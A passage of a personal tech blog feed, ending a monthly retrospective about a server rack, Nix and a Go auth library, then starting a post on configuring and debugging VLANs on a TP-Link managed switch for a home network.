&lt;p>My fiancé has pointed out that my office gets dirty because I have wires everywhere that discourage vacuuming. I thought, &amp;ldquo;What? No, this is a normal amount of wires.&amp;rdquo; But then I started looking at them and realized it was kind of a lot of wires&amp;hellip;&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/07/office-wires-1.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/07/office-wires-1_hu_a6ec9ca73deea3d.webp 300w, https://mtlynch.io/retrospectives/2023/07/office-wires-1_hu_6bb10fbc7ae88ac6.webp 600w, https://mtlynch.io/retrospectives/2023/07/office-wires-1_hu_6d007ae12db6702.webp 800w, https://mtlynch.io/retrospectives/2023/07/office-wires-1.webp 900w'
 src="https://mtlynch.io/retrospectives/2023/07/office-wires-1.webp" alt="Photo of lots of wires in my office" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/07/office-wires-2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/07/office-wires-2_hu_d34e44db3d37754e.webp 300w, https://mtlynch.io/retrospectives/2023/07/office-wires-2_hu_9adabf8eecef4171.webp 600w, https://mtlynch.io/retrospectives/2023/07/office-wires-2_hu_69e6b5c8ac583f05.webp 800w, https://mtlynch.io/retrospectives/2023/07/office-wires-2.webp 900w'
 src="https://mtlynch.io/retrospectives/2023/07/office-wires-2.webp" alt="Photo of lots of wires in my office" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My office, upon closer inspection, kind of had a lot of wires&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>It occurred to me that I could make us both happy by building a server rack. I&amp;rsquo;d enjoy a fun homelab project, and she&amp;rsquo;d appreciate the tidiness of having all the wires in a self-contained unit.&lt;/p>
&lt;p>So, I built my first server rack. It was fun to build, and it does make everything a lot tidier. With everything stacked vertically, there are fewer wires on the floor, and the whole thing moves on wheels for easy cleaning.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/07/server-rack.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/07/server-rack_hu_b5e5bee6b758bc08.webp 300w, https://mtlynch.io/retrospectives/2023/07/server-rack_hu_cbfc37d79cb575f.webp 600w, https://mtlynch.io/retrospectives/2023/07/server-rack_hu_13e0af0adc77ff98.webp 800w, https://mtlynch.io/retrospectives/2023/07/server-rack_hu_45789eb58510319.webp 1200w, https://mtlynch.io/retrospectives/2023/07/server-rack.webp 1265w'
 src="https://mtlynch.io/retrospectives/2023/07/server-rack.webp" alt="Photo of server rack with patch panel, TP-Link switch, Tripp-Lite surge protector, CyberPower UPS, and shelves" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My first home server rack&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m using a &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/">managed switch and VLANs&lt;/a> for the first time. At first, I found VLANs too cumbersome and hard to debug. Now that I&amp;rsquo;ve got the basics, I enjoy them and want to make VLANs for everything.&lt;/p>
&lt;p>I&amp;rsquo;m working on a longer write-up about how I chose all the components and what mistakes I made, so stay tuned.&lt;/p>
&lt;h3 id="learning-nix">Learning Nix&lt;/h3>
&lt;p>&lt;a href="https://nixos.org/">Nix&lt;/a> has been at the top of my list of interesting-looking technologies for the past year, so I recently invested some time into learning more about it.&lt;/p>
&lt;p>I wrote up &lt;a href="https://mtlynch.io/notes/nix-first-impressions/">notes about my first experiences with Nix&lt;/a>, and they unexpectedly got a lot of attention on &lt;a href="https://news.ycombinator.com/item?id=36387874">Hacker News&lt;/a> and &lt;a href="https://twitter.com/deliberatecoder/status/1670241507486441473">Twitter&lt;/a>. People in the Nix community have been reaching out to me and offering to help me with the parts where I got stuck.&lt;/p>
&lt;p>The results have encouraged me to capture more of my &lt;a href="https://mtlynch.io/notes/">notes&lt;/a> when I&amp;rsquo;m experimenting with technologies that I don&amp;rsquo;t fully understand.&lt;/p>
&lt;h3 id="rolling-my-own-authentication-library-in-go">Rolling my own authentication library in Go&lt;/h3>
&lt;p>When I started making web apps in 2018, I didn&amp;rsquo;t want to roll my own authentication, so I always used third-party services.&lt;/p>
&lt;p>Third-party authentication services worked okay, but they limited adoption of my open-source projects. Other developers could only deploy my apps if they used the same authentication service as I did.&lt;/p>
&lt;p>The other problem with third-party authentication is that it makes end-to-end tests slower, less reliable, and more complex.&lt;/p>
&lt;p>For my most recent project, &lt;a href="https://thescreenjournal.com/">ScreenJournal&lt;/a>, I looked for a way to avoid a third-party service for authentication. I began by surveying &lt;a href="https://github.com/avelino/awesome-go#authentication-and-oauth">what authentication libraries were available&lt;/a>. My requirements were:&lt;/p>
&lt;ol>
&lt;li>It had to be open-source.&lt;/li>
&lt;li>It had to use Go, my current language of choice for web apps.&lt;/li>
&lt;li>It had to be a library I build into my app rather than a separate service that runs alongside my app.&lt;/li>
&lt;li>It had to support SQLite as a datastore.&lt;/li>
&lt;/ol>
&lt;p>&lt;a href="https://github.com/markbates/goth">goth&lt;/a> (formerly gomniauth) seems to be the most popular authentication library, but it breaks requirement (3), as it depends on external third-party services.&lt;/p>
&lt;p>The other popular Go authentication solution is &lt;a href="https://github.com/volatiletech/authboss">authboss&lt;/a>. It meets all my requirements, but the documentation is pretty sparse. I discovered that was &lt;a href="authboss-support.png">an intentional choice the author made&lt;/a> to limit support requests.&lt;/p>
&lt;p>I spent an afternoon trying to implement a simple web app with authboss, but I &lt;a href="https://github.com/mtlynch/authboss-minimal/pull/6/files">couldn&amp;rsquo;t even get the basics working&lt;/a>. The more I learned about authboss, the less it matched what I wanted. It seems to expect integrators to use authboss not only for authentication but also for page rendering and URL path routing, which is more than I want an auth library to handle.&lt;/p>
&lt;p>Now, I&amp;rsquo;m trying to create my own reusable authentication library. I&amp;rsquo;m not trying to make it a popular open-source package, just something that saves me from copy/pasting a bunch of auth code across all of my hobby projects.&lt;/p>
&lt;p>So far, all it can do is &lt;a href="https://github.com/mtlynch/screenjournal/blob/02b1c3cdce132380f3f219c924481d88dc198b3b/auth/simple/authenticator.go">check if a user&amp;rsquo;s password is correct&lt;/a>. It&amp;rsquo;s not reusable yet because the client still &lt;a href="https://github.com/mtlynch/screenjournal/blob/02b1c3cdce132380f3f219c924481d88dc198b3b/auth/auth.go">has to create the password hash&lt;/a> — and I want that to be the auth library&amp;rsquo;s job.&lt;/p>
&lt;p>Developing a reusable authentication library is an interesting challenge because it forces me to use Go features I don&amp;rsquo;t normally use. It also stretches my architecture skills because I have to weigh tradeoffs between the library simplifying things vs. being more flexible to different forms of authentication.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Started working with a contract manufacturer on their first production batch of TinyPilot Voyager 2a devices.&lt;/li>
&lt;li>Built my first home server rack.&lt;/li>
&lt;li>Learned the basics of Nix and NixOS.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>There are several opportunities for me to use my time as founder more effectively:
&lt;ul>
&lt;li>Look for more opportunities to delegate tasks and break up larger tasks for easier delegation.&lt;/li>
&lt;li>Be more conservative in which dev tasks I take on.&lt;/li>
&lt;li>Schedule time I spend on email more deliberately.&lt;/li>
&lt;li>Encourage my teammates to make more use of peer review.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Server racks are fun for homelab nerds and their significant others.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Reach $98k in sales revenue.&lt;/li>
&lt;li>Stay on schedule for TinyPilot&amp;rsquo;s shift to our contract manufacturer.&lt;/li>
&lt;li>Spend less than 40% of my time on email.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Debugging VLANs on my TP-Link Managed Switch</title><link>https://mtlynch.io/notes/debugging-vlans-tp-link/</link><pubDate>Tue, 04 Jul 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/debugging-vlans-tp-link/</guid><description>&lt;p>I recently bought my first-ever managed networking switch, a &lt;a href="https://www.tp-link.com/us/business-networking/omada-sdn-switch/tl-sg3428x/">TP-Link JetStream TL-SG3428X&lt;/a>.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_e09c74690f00b334.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_9537fb2c9b78ef4e.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_1da912737b9d95bb.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_6e200468ce8cfa4f.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior.webp 1600w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior.webp" alt="Photo of my TP-Link managed switch" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The main feature of a managed switch is that it lets you segment your network into VLANs. I was excited about this functionality, but it took me hours of trial and error to get VLANs working.&lt;/p>
&lt;p>I found &lt;a href="https://www.tp-link.com/us/support/faq/2149/">TP-Link&amp;rsquo;s VLAN documentation&lt;/a> lacking, so I&amp;rsquo;m sharing my notes in case they&amp;rsquo;re helpful to others.&lt;/p></description><content:encoded>&lt;p>I recently bought my first-ever managed networking switch, a &lt;a href="https://www.tp-link.com/us/business-networking/omada-sdn-switch/tl-sg3428x/">TP-Link JetStream TL-SG3428X&lt;/a>.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_e09c74690f00b334.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_9537fb2c9b78ef4e.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_1da912737b9d95bb.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior_hu_6e200468ce8cfa4f.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior.webp 1600w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/tp-link-exterior.webp" alt="Photo of my TP-Link managed switch" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The main feature of a managed switch is that it lets you segment your network into VLANs. I was excited about this functionality, but it took me hours of trial and error to get VLANs working.&lt;/p>
&lt;p>I found &lt;a href="https://www.tp-link.com/us/support/faq/2149/">TP-Link&amp;rsquo;s VLAN documentation&lt;/a> lacking, so I&amp;rsquo;m sharing my notes in case they&amp;rsquo;re helpful to others.&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>If you&amp;rsquo;re not familiar with VLANs, my favorite explainer is &lt;a href="https://www.youtube.com/watch?v=XdqP14NclZ0">Raid Owl&amp;rsquo;s video on the subject&lt;/a>.&lt;/p>
&lt;h2 id="tagged-ports-untagged-ports-and-pvids">Tagged ports, untagged ports, and PVIDs&lt;/h2>
&lt;p>Different devices use different terminology to describe VLAN features.&lt;/p>
&lt;p>On TP-Link switches, the relevant settings to know are:&lt;/p>
&lt;ul>
&lt;li>Tagged ports&lt;/li>
&lt;li>Untagged ports&lt;/li>
&lt;li>PVIDs&lt;/li>
&lt;/ul>
&lt;h3 id="tagged-ports">Tagged ports&lt;/h3>
&lt;p>When you add a port to a VLAN as a &lt;strong>tagged port&lt;/strong>, the switch allows the device connected to that port to send and receive traffic to the VLAN.&lt;/p>
&lt;p>On tagged ports, the switch preserves VLAN tags on packets, so you should add VLAN-aware devices as tagged ports of a VLAN. VLAN-aware devices are things like firewalls, other managed switches, and wireless access points that support VLANs.&lt;/p>
&lt;p>For example, if you add port 5 to VLANs 10 and 20 as a tagged port, then the switch will send packets to that port with VLAN tags 10 and 20. It won&amp;rsquo;t strip off the tags, so the device on port 5 will receive packets with the VLAN tag still set. The device won&amp;rsquo;t receive packets with any other VLAN tag, as only 10 and 20 are allowed.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 525px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/tagged-port.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 525px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/tagged-port_hu_a8a331546e8faedc.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/tagged-port.webp 523w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/tagged-port.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Example: Adding a port to VLANs 10 and 20 as a tagged port. The switch will allow traffic tagged with VLANs 10 and 20 but reject other traffic, such as packets tagged with VLAN 30.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="untagged-ports">Untagged ports&lt;/h3>
&lt;p>When you add a port to a VLAN as an &lt;strong>untagged port&lt;/strong>, the switch allows the device connected to that port to send and receive traffic to the VLAN, just like for tagged ports. The difference with an untagged port is that, before passing along packets to the port, the switch will strip the VLAN tag from network packets.&lt;/p>
&lt;p>Untagged ports are for non-VLAN-aware devices, like regular desktop PCs, scanners, or printers. The switch strips the VLAN tags because the device attached to the port doesn&amp;rsquo;t know anything about VLANs.&lt;/p>
&lt;p>For example, if you add port 6 to VLAN 10 as an untagged port, then the switch will send packets with VLAN tags 10 to that port, but it will strip off the tag before passing the packet along. The device on port 6 will receive packets without any VLAN tag. The device won&amp;rsquo;t receive packets with any other VLAN tag, as only VLAN 10 is allowed.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 525px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/untagged-port.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 525px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/untagged-port_hu_a1bae1269fba4cc7.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/untagged-port.webp 523w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/untagged-port.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="pvids">PVIDs&lt;/h3>
&lt;p>On TP-Link switches, each port has a &lt;strong>PVID&lt;/strong>, or &lt;a href="https://www.megajason.com/2018/04/30/what-is-pvid/">port VLAN identifier&lt;/a>. When a packet goes from the attached device into the switch through the given port, the switch adds the port&amp;rsquo;s PVID to the packet as a VLAN tag.&lt;/p>
&lt;p>While tagged and untagged ports define how packets go from the switch to the port, the PVID affects packets that come from the port into the switch.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 444px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/pvid.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 444px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/pvid_hu_fd487b8450b5fffd.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/pvid.webp 442w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/pvid.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You don&amp;rsquo;t need to set a PVID for ports that are connected to VLAN-aware devices because those devices are adding their own VLAN tags.&lt;/p>
&lt;p>You do need to set a PVID for ports connected to non-VLAN-aware devices, as the switch needs to add the correct VLAN tag on behalf of the non-VLAN-aware device.&lt;/p>
&lt;h2 id="how-to-reach-vlan-settings-on-a-tp-link-managed-switch">How to reach VLAN settings on a TP-Link managed switch&lt;/h2>
&lt;p>TP-Link buries the VLAN settings amid a cluster of similar-sounding options. I wasn&amp;rsquo;t even sure if I was configuring the right settings at first.&lt;/p>
&lt;p>If you have a TP-Link switch with a similar interface to mine, you can find your VLAN settings by doing the following:&lt;/p>
&lt;ol>
&lt;li>From the navbar, click &amp;ldquo;L2 Features&amp;rdquo;&lt;/li>
&lt;li>From the left sidebar, click &amp;ldquo;VLAN&amp;rdquo;&lt;/li>
&lt;li>From the submenu, click &amp;ldquo;802.1Q VLAN&amp;rdquo;&lt;/li>
&lt;/ol>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1440px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1440px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings_hu_1eb635d3c738c2f1.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings_hu_da398170bae987a9.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings_hu_940d91bf454f58a8.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings_hu_43bd327276ed8d33.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings.webp 1438w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/tplink-vlan-settings.webp" alt="Screenshot of VLAN settings on a TP-Link web interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How to find VLAN settings on a TP-Link managed switch&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The &amp;ldquo;VLAN Config&amp;rdquo; tab lets you add VLANs to the switch and configure which ports are members of the VLAN.&lt;/p>
&lt;p>The &amp;ldquo;Port Config&amp;rdquo; tab lets you configure the PVID for any ports. Again, you&amp;rsquo;d only set a PVID for ports that are attached directly to non-VLAN-aware devices that need to be on a VLAN. If you&amp;rsquo;re setting a PVID for a port, it should be a member of a single VLAN as an untagged port.&lt;/p>
&lt;h2 id="why-does-tp-link-make-us-manage-pvids-manually">Why does TP-Link make us manage PVIDs manually?&lt;/h2>
&lt;p>Some switches leave PVID out of the configuration. They just show tagged ports and untagged ports — the switch automatically sets the PVID for you.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 2446px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan.webp">
 &lt;img
 
 sizes="(min-width: 768px) 2446px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan_hu_a9167d90f93f5d9f.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan_hu_c3d0a95c224f2ffc.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan_hu_79dd4f8ba8db322c.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan_hu_451d8c9ccfb1fcae.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan.webp 2446w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/qnap-vlan.webp" alt="Still from Raid Owl video showing a better VLAN management interface on a QNAP switch" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A screenshot of the VLAN admin interface on a QNAP managed switch. QNAP&amp;rsquo;s interface is vastly more intuitive than TP-Link&amp;rsquo;s.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>On switches that don&amp;rsquo;t expose a PVID setting, adding a port to VLAN 20 as an untagged port implicitly sets the port&amp;rsquo;s PVID to 20. I wish TP-Link had taken this approach because their implementation is needlessly complicated.&lt;/p>
&lt;p>Here&amp;rsquo;s my rule of thumb for managing untagged ports and PVIDs on a TP-Link switch:&lt;/p>
&lt;ul>
&lt;li>If you connect a non-VLAN-aware device to the switch, it should only be a member of a single VLAN.
&lt;ul>
&lt;li>Add the device&amp;rsquo;s port to the VLAN as an untagged port.&lt;/li>
&lt;li>Set the port&amp;rsquo;s PVID to the VLAN&amp;rsquo;s ID.&lt;/li>
&lt;li>Remove the port from any other VLANs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>For example, if you connected a printer to port 16 on your switch and wanted it to be in VLAN 20, you&amp;rsquo;d add port 16 to VLAN 20 as an untagged port, and you&amp;rsquo;d set port 16&amp;rsquo;s PVID to 20.&lt;/p>
&lt;p>TP-Link &lt;em>technically&lt;/em> allows you to add a port to multiple VLANs as untagged, but I don&amp;rsquo;t think there&amp;rsquo;s ever a reason to do this. It would mean that the device can &lt;em>receive&lt;/em> packets from devices on other VLANs, but it can only &lt;em>send&lt;/em> packets to devices on the single VLAN that matches the port&amp;rsquo;s PVID.&lt;/p>
&lt;h2 id="my-home-network-before-the-managed-switch">My home network, before the managed switch&lt;/h2>
&lt;p>Before I got the managed switch, I was already using VLANs, but I connected them through an unmanaged switch.&lt;/p>
&lt;p>The relevant network devices in my setup were:&lt;/p>
&lt;ul>
&lt;li>My desktop PC, which has full access to all VLANs&lt;/li>
&lt;li>My Ruckus WiFI access point, which hosts two WLAN networks with distinct VLANs&lt;/li>
&lt;li>My OPNSense firewall, which enforces firewall rules on packets crossing VLANs or to the Internet&lt;/li>
&lt;li>My &lt;a href="https://mtlynch.io/building-a-vm-homelab/">Proxmox server&lt;/a>, which tags certain VMs&amp;rsquo; network interfaces with VLAN IDs&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1702px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1702px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network_hu_eeca3726494d268a.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network_hu_b0fc9ae79c32edb9.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network_hu_b82082cd74cc30b9.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network_hu_41927c2e19036f98.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network.webp 1700w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/unmanaged-network.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My home network before I added a managed switch&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Note that in this diagram, I have no VLAN-aware devices connected in series. This simplified configuration a lot, which I didn&amp;rsquo;t realize until I upgraded to a managed switch.&lt;/p>
&lt;h2 id="mistake-1-replacing-unmanaged-switch-with-managed-switch-kills-internet-on-wifi">Mistake 1: Replacing unmanaged switch with managed switch kills Internet on WiFi&lt;/h2>
&lt;p>When I purchased my TP-Link TL-SG3428X, I just dropped it in as a replacement for my previous unmanaged switch. Not much changed about my network diagram:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1702px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1702px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network_hu_50fff0a876f48fd5.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network_hu_58e8f4ec8a365913.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network_hu_a1f0ae76938457b5.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network_hu_a1643d131ed3988a.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network.webp 1700w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/managed-network.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My home network before I added a managed switch&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A few minutes after installing the new managed switch, my fiance told me she lost Internet access on her laptop. I checked my phone and saw the same thing.&lt;/p>
&lt;p>The WiFi devices could all join the WiFi network, but the network didn&amp;rsquo;t have Internet access. How could that be? I hadn&amp;rsquo;t changed any of my firewall settings. I just replaced an unmanaged switch with a managed one.&lt;/p>
&lt;p>After several hours, I realized what the problem was. My managed switch was dropping all tagged packets. Traffic could get from WiFi devices to the access point, but the switch was rejecting VLAN-tagged packets because it didn&amp;rsquo;t know anything about my VLANs.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 465px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/unrecognized-vlan.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 465px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/unrecognized-vlan_hu_b2b0b4dc6da62d62.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/unrecognized-vlan.webp 463w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/unrecognized-vlan.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When I replaced my unmanaged switch with a managed switch, the managed switch began dropping VLAN-tagged traffic from my wireless access point.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The solution was to tell my VLANs managed switch about my existing VLANs. Otherwise, the switch would just continue dropping all VLAN-tagged packets.&lt;/p>
&lt;p>Here was my managed switch configuration after the fix:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>VLAN ID&lt;/th>
 &lt;th>VLAN Name&lt;/th>
 &lt;th>Ports (Tagged)&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>1&lt;/td>
 &lt;td>System&lt;/td>
 &lt;td>All&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>10&lt;/td>
 &lt;td>Trusted&lt;/td>
 &lt;td>1 (firewall), 17 (wireless access point)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>20&lt;/td>
 &lt;td>Guest&lt;/td>
 &lt;td>1 (firewall), 17 (wireless access point)&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>After that configuration change, my WiFi devices got Internet again. The switch recognized their VLAN tags and passed traffic through to my OPNsense firewall.&lt;/p>
&lt;h2 id="mistake-2-forgetting-to-add-my-router-to-the-vlan">Mistake 2: Forgetting to add my router to the VLAN&lt;/h2>
&lt;p>I ran into another issue when I tried to add an untrusted device to my network. I have solar panels on my house, and to monitor their status, I have to use this proprietary IoT device.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device.webp">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device_hu_ff7fae7851fa0cbf.webp 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device_hu_c9305ab2bd6a817f.webp 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device_hu_f0178589ff994c69.webp 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device_hu_72533cc63d073447.webp 1200w, https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device.webp 1600w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/iot-device.webp" alt="Photo of small device in my hand with an RJ45 cable plugged in" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>An untrusted IoT device on my network that tracks the status of my outdoor solar panels&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The IoT device needs Internet access to upload metrics to the vendor&amp;rsquo;s cloud dashboard. I have no idea what other mischief this little box might be doing, so I don&amp;rsquo;t want it to have access to anything on my home network.&lt;/p>
&lt;p>I created &lt;a href="https://homenetworkguy.com/how-to/configure-vlans-opnsense/">a new VLAN from my OPNsense firewall&lt;/a> called &amp;ldquo;Purgatory&amp;rdquo; for devices I trust even less than guests. Devices in Purgatory can access DNS servers and public Internet IPs, but they can&amp;rsquo;t access any other VLAN.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 1129px">



 &lt;a href="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-firewall.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1129px, 98vw"
 srcset='https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-firewall_hu_3614ad870d0df69.png 300w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-firewall_hu_1e20959c225c1e1a.png 600w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-firewall_hu_c3e99d0594dd4771.png 800w, https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-firewall.png 1127w'
 src="https://mtlynch.io/notes/debugging-vlans-tp-link/purgatory-firewall.png" alt="Screenshot of OPNsense firewall rules for Purgatory, which allows DNS and rejects traffic to internal networks" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Firewall rules for Purgatory VLAN&lt;/p>&lt;/figcaption>
&lt;/figure>


